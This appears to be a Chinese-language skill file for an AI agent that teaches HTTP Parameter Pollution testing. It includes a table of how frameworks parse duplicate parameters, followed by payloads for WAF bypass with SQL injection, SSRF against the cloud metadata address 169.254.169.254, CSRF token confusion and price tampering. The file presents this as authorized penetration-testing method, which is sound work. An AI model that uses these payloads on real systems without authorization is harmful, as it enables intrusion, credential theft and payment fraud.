http-parameter-pollution

http-parameter-pollution

熱門

HTTP 参数污染(HPP):服务器、代理服务器(Proxy)、WAF 与应用框架对重复的 query/body 键值(key)解析逻辑不一致。适用于过滤层与应用层对“哪个参数值优先生效”存在歧异的场景,可用来绕过安全防护、实现 SSRF 二次 URL 注入、滥用业务逻辑或混淆 CSRF Token。

1528星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
http-parameter-pollution
描述

HTTP 参数污染(HPP):服务器、代理服务器(Proxy)、WAF 与应用框架对重复的 query/body 键值(key)解析逻辑不一致。适用于过滤层与应用层对“哪个参数值优先生效”存在歧异的场景,可用来绕过安全防护、实现 SSRF 二次 URL 注入、滥用业务逻辑或混淆 CSRF Token。

SKILL: HTTP Parameter Pollution (HPP)

AI 载入指令:建立完整请求路径的模型:浏览器 → CDN/WAF → 反向代理 → 应用框架 → 业务程序代码。重复的键值(a=1&a=2)在 HTTP 协议层面并非错误;每个节点(hop)可能各自选择取第一个值、取最后一个值、合并字符串(join)或转换为数组(array-ify)。当 WAF 与应用程序逻辑产生歧异,或是内部 HTTP Client 会重新组装 query string 时,请测试 HPP。路由说明:当同一个参数多次出现,或 WAF/后端技术栈不同时,请先使用 Section 1 的对照表测试首项/尾项/合并等解析假设,再设计 Section 3 的攻击场景链。

0. 快速开始

假设安全检查读取的是其中一个参数值,而实际操作/业务逻辑读取的则是另一个参数值。

首波测试 Payload

id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin

Body 变体(POST 请求重复测试)

application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2

快速测试方法

  1. 先使用基线 a=1&a=2 识别前段技术栈(CDN/WAF)与源站(语言/框架)的指纹特性。
  2. 两种顺序发送请求:a=1&a=2a=2&a=1(某些解析器对顺序极为敏感)。
  3. 若为 JSON:测试重复 key 以及 Content-Type 混淆(参阅 Section 2)。

1. 服务器行为对照表

常见默认行为 — 请务必自行确认;中间件(middleware)与自定义解析器可能会覆盖这些设置。

架构/技术栈 解析行为 示例:a=1&a=2
PHP / Apache ($_GET) 取最后一个值 (Last occurrence) a=2
ASP.NET / IIS 通常以逗号拼接 (Often comma-joined) a=1,2
JSP / Tomcat (servlet param) 取第一个值 (First occurrence) a=1
Python / Django (QueryDict) 取最后一个值 (Last occurrence) a=2
Python / Flask (request.args) 取第一个值 (First occurrence) a=1
Node.js / Express (req.query) 转换为数组 (Array of values) a=['1','2'](数据结构可能因解析器版本而异)
Perl / CGI 取第一个值 (First occurrence) a=1
Ruby / Rack (Rack::Utils) 取最后一个值 (Last occurrence) a=2
Go net/http (ParseQuery) 取第一个值 (First occurrence) a=1

为何这很重要:运行于 IIS 上的 WAF 可能会解析成 1,2,而后端的 PHP 却只收到 2 — 若中间代理进行了正则化(normalization),也可能出现相反情况。


2. PAYLOAD 模式

2.1 基础重复 Key

GET /api?q=safe&q=evil HTTP/1.1

2.2 数组样式(PHP / 部分框架)

GET /api?id[]=1&id[]=2 HTTP/1.1

2.3 数组与标量混合

GET /api?item[]=a&item=b HTTP/1.1

2.4 编码后的 Ampersand (&)(解析器差异)

# 值内部的字面量 & 与新参数对 — 取决于解码器实现
param=value1%26other=value2
param=value1&other=value2

2.5 嵌套 / 括号 Key

GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1

2.6 JSON 重复 Key

{"test":"user","test":"admin"}

许多解析器会保留最后一个 key;有些则保留第一个。JavaScript 的 JSON.parse 会保留最后一个重复的 key。


3. 攻击场景

3.1 HPP + 绕过 WAF

模式:WAF 检查第一个值;应用程序使用最后一个值。

id=1&id=1%20UNION%20SELECT%20...

亦可尝试:若 API 网关在合并不同来源时处理逻辑不同,可尝试在 JSON 字段中放入无害值,并在 query string 中放入重复参数。

3.2 HPP + SSRF

模式:验证器(Validator)读取的是安全的 URL;而实际发起请求的组件(Fetcher)读取的是内部/恶意的 URL。

url=https://allowed.cdn.example/&url=http://169.254.169.254/

请确认哪一个组件(第三方库 vs 应用程序本身)消费了哪一个参数位置。

3.3 HPP + CSRF

模式:重复发送 Anti-CSRF Token,使其中一份满足解析器 A,另一份满足解析器 B。

csrf=LEGIT&csrf=IGNORED_OR_ALT

仅用于拥有明确状态变更目标且获得合法授权的 CSRF 评估任务。

3.4 HPP + 业务逻辑(例如支付)

amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01

搭配竞态条件(Race Conditions)服务器端舍入误差可造成更高影响;单独使用 HPP 通常需要跨层级的歧异解析才能生效。


4. 工具

工具 使用方式
Burp Suite Repeater:在原始 query/body 中注入重复 key;使用 Param Miner 或扩展功能寻找隐藏参数;对比响应以判断服务器偏好 firstlast
OWASP ZAP 使用 Manual Request Editor(手动请求编辑器);自动扫描可能无法深度 Fuzz HPP,建议以手动变体测试为主
自定义脚本 构建精确的原始 HTTP 请求(保留参数顺序)— 某些 HTTP Client 会自动格式化或去重重复参数

技巧:若你拥有测试环境的控制权,请在应用端记录原始(raw) query string;部分框架仅会在代码中暴露“胜出”的值,但日志中会保留完整字符串。


5. 决策树

                    +-------------------------+
                    | 重复的参数名称           |
                    | (发生在同一请求中)       |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | 仅单一应用  |                       | WAF / CDN / |
       | 层级        |                       | 代理链      |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | 查阅框架文档并测试 |                 | 绘制每个节点的行为: |
    | a=1&a=2 与交换顺序 |                 | 取首/取尾/拼接/数组|
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | 选择攻击    |
                          | 模板        |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | 逻辑    | | JSON    |
    | 应用层  | | 分离    | | Token   | | 数值    | | 重复 key|
    | 取值歧异| | URL     | | 混淆    | | 字段    | | 解析器  |
    +---------+ +---------+ +---------+ +---------+ +---------+

安全与范围说明:HPP 测试可能会改变服务器状态(如支付金额、账号设置)。请仅在获得明确授权的环境下执行,使用专用测试账号,并在发动高风险请求前先梳理并记录解析器的行为模式。